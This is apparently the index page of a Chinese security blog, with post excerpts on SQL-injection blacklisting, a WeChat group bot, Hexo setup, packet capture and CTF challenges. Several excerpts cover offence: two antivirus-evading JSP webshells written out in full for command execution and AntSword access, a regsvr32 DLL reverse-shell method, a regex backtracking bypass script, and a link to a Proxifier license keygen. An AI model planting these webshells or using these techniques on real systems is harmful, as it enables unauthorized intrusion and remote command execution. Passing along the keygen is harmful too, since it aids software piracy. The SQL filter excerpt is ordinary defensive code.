wubba lubba dub dub.
post @ 2024-05-23

Sql注入

1.常见的SQL注入漏洞主要是由于程序开发过程中不注意规范书写Sql语句以及对特殊字符的不严格过滤,从而导致客户端可以通过全局变量POST和GET提交恶意代码。
2.Fix:基于黑名单、转义、报错

过滤

//黑名单过滤通防
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";

if((preg_match("/".$filter."/is",$username)== 1) || (preg_match("/".$filter."/is",$password)== 1)){
    die();
}

转义

详见EasySQL加固题,这里提供几个函数:

addslashes()

PS:PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测

控制错误信息:

php代码开头添加语句:error_reporting(0);
Read More
post @ 2024-04-11
Here's something encrypted, password is required to continue reading.
Read More
post @ 2024-02-04

鸣谢

xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io

简述

因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/ALinuxSimpleWxbot/

帮助/功能文档

机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信

改昵称必看(重要)

roomname 群昵称 新老群成员可以使用这个修改在数据库里的群昵称,方便机器人称呼和统计最后发言时间,此功能只有在自己修改了群昵称后需要操作一次
username 群昵称 此指令可以修改在数据库里的微信昵称,如果机器人没有提示请不要操作
以上两条指令,如无必要请不要操作,并且不要同时修改群昵称和微信昵称,不然机器人可能会坏掉

常规指令

help 显示本帮助文档
last 显示本人最后发言时间
search 某人 输出某人的最后发言时间
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈

Read More

鸣谢

xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io

简述

因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/AWindowsSimpleWxbot/

帮助/功能文档

机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信,还会每月定时提醒和清理未发言的成员,这个版本比linux版本要强大,但问题是微信版本有限制
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令

常规指令:

help 显示本帮助文档
last 显示本人最后发言时间
search 路人甲,路人乙 输出一个或多个成员的最后发言时间的最后发言时间,要搜索的每个成员之间用英文逗号隔开
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈

注意事项

注意!在群里要积极发言哦!每个月25号会在群内通知这个月还没有发言过的同学,每个月最后一天清除群内未发言同学,希望大家珍惜在群里的机会呀!
当有群成员使用发送反馈时,机器人会向你的主微信账号发送反馈内容,当有新群员加入并发言时,机器人会自动记录,如果新人一个月没有发言也将被移出
为了方便地手动操作数据库,还有一个sqlop.py文件,这个python程序提供了简单管理sqlite数据库的条件,运行该程序,并输入相应数据库语句来对你的数据库进行操作。
用get请求访问服务器8080端口下的/check 路径可以检查机器人是否掉线

Read More

简述

因为想总结一下博客的搭建过程,但是忘记都改了什么地方,所以干脆直接重新搭建一次好了

基本安装

首先我们要在设备上安装nodejs,我这里使用的是termux环境,其他linux环境和windows环境应该大同小异,执行以下命令以安装基础包:

pkg install nodejs

然后安装hexo,这里是hexo官方的安装方法

npm install hexo-cli -g
hexo init blog #blog只是一个名字,可以改成自己想要的
cd blog
npm install
hexo server #启动hexo博客

主题安装

这里安装了freemind-bithack这个主题,后面我们会改动这个主题,使其更加实用
安装命令:

cd blog/theme #进入博客的theme目录
git clone https://github.com/Ares-X/hexo-theme-freemind.bithack
mv hexo-theme-freemind.bithack freemind.bithack #将名字改为freemind.bithack
npm install hexo-tag-bootstrap --save
npm install hexo-generator-search --save
Read More

小程序抓包

工具准备

先在官网下载抓包工具以及proxifier官方版本:
https://www.proxifier.com/download/
然后下载proxifier破解注册机:
https://github.com/y9nhjy/Proxifier-Keygen
在安装了proxifier的机器上运行注册机,得到序列码,激活并运行proxifier

基本配置

Burpsuit

在Proxy—->Options里设置代理端口等,我这里设置了监听本地8080端口:

然后点击下方的“Import/export CA certificate”,将证书文件导出,然后win+r,输入certmgr.msc打开证书管理器,在“受到信任的证书”处点击,右键导入新的证书:

然后将burp的证书导入

Burp小技巧

启用远程代理

我们进入Proxy选项的设置中,在proxy listener处添加一个有specific address的代理,这里的specific address填写抓包电脑的内网地址,端口填写想要的端口:

设置好之后就可以让局域网中的其他设备通过burp的代理抓包了

启用HTTP 1.0
Read More

题目简述

题目给出了这样的代码:

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

提示有Hanxin.exe.php的页面,打开查看:

<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

同时,网页下面还有这样的回显:

Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:15:”夺命十三枪”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…

注意:在php中,中文的字符串长度是根据所占字节来决定的,utf-8编码下每个中文字符所占字节为3,所以夺命十三枪的长度是15

题目的大致意思,是让我们通过chant传参,将Spear_Owner改为Maolei,同时,我们传入的参数会根据一定规则被替换

逐步题解

Read More

简述

最近做了一些题目,总结一下关于preg_match()绕过技巧:

最大回溯次数绕过 无版本限制

在php中,为了防止正则表达式的贪婪匹配遇到过长的字符串时响应太慢,甚至系统崩溃的问题,php限制了回溯次数,一旦超过这个次数,preg_match函数就会返回false,所以我们可以构建一个超长的字符串来使preg_match返回false,举个例子:

/sys.*nb/is

以上是一个正则表达式,用于匹配sysnb,且不管sys和nb中间出现什么都会匹配到sysnb。
这是我们可以输入一个字符串,sysnb在开头,然后后面加上垃圾字符(重复使用相同的字符可能会被发现),当preg_match识别到sys,它并不会马上识别后面的nb,由于贪婪匹配的原因,它会从字符串的最后开始数,直至遇见nb,但是我们的nb在最前面,它一直回溯就会超过最大次数,于是返回false,以下给出脚本:

import requests
a='acb'*1000000 #这里可以改成随机生成垃圾数据
string="sys nb"+a
#print(string)
data = {
  "xdmtql":string
} #xxx-from数据,键值对
r = requests.post("http://af277385-c08e-4b09-8a79-374fc1f553d5.www.polarctf.com:8090/",data=data) #使用post请求
print(r.text)

需要注意的是,如果正则为:

/sys.*?nb/is

这种办法就没用了,因为”?”将贪婪匹配转为了懒惰匹配,只匹配到一个sysnb就收工。同时如果preg使用了强等于,即===,此方法也失效
注意:具体的最大回溯次数可以在phpinfo中的PCRE项的配置中查看

Read More
post @ 2023-12-10

简述

最近在渗透一台比较老,环境比较不完整的机子时,尝试反弹shell出了很多乱七八糟的问题,在尝试nc,msf等常规上传方法失败后,找到一种小众的方法,通过windows自带的regsvr32反注册dll文件来坦shell,用nc连接

具体方法

先下载这个MFC服务配置端:
MFC服务配置端口
首先我们先在这个MFC服务配置端里根据目标的架构生成dll文件:

ip地址填自己的ip,端口号选择一个喜欢的,其他信息随便填(不填也可以),下面根据架构,点击生成dll文件
在本地开启nc的端口监听,将dll上传到目标机器,使用指令:

regsvr32 /s /u 你上传的server.dll文件

来反弹shell,当nc有反应,就代表连接成功

吐槽

我用这个方法,虽然成功反弹了shell,但神奇的是,反弹的不是我上传的目标机器的shell,而是反弹了一台不知道是什么设备的shell,而且里面还有重要文件,权限也是admin,赚麻了,也怕了。十分恶心的是,这个shell不仅10秒断一次,而且每次重连还要换端口,恶心人有个度啊。

Read More

简述

最近在渗透的时候遇到需要上传jsp一句话的情况,因为目标机器有360,而且比较老旧,很多jsp一句话不是被杀就是跑不了,更有甚者上传了能执行但是连不上蚁剑,后来获取了两个不错的马,记录一下

免杀连接蚁剑jsp

<%!class AFKZ extends ClassLoader{ AFKZ(ClassLoader NGOK){ super(NGOK); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("bypass");if(cls!=null){ new AFKZ(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

这款比较适合旧的机子,而且蚁剑能连上
密码:bypass

普通免杀jsp

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

这款比较普通,密码:cmd
xxx.jsp?cmd=你想执行的代码


碎碎念
好久没归纳了,感觉要被大家超过了

Read More
⬆︎TOP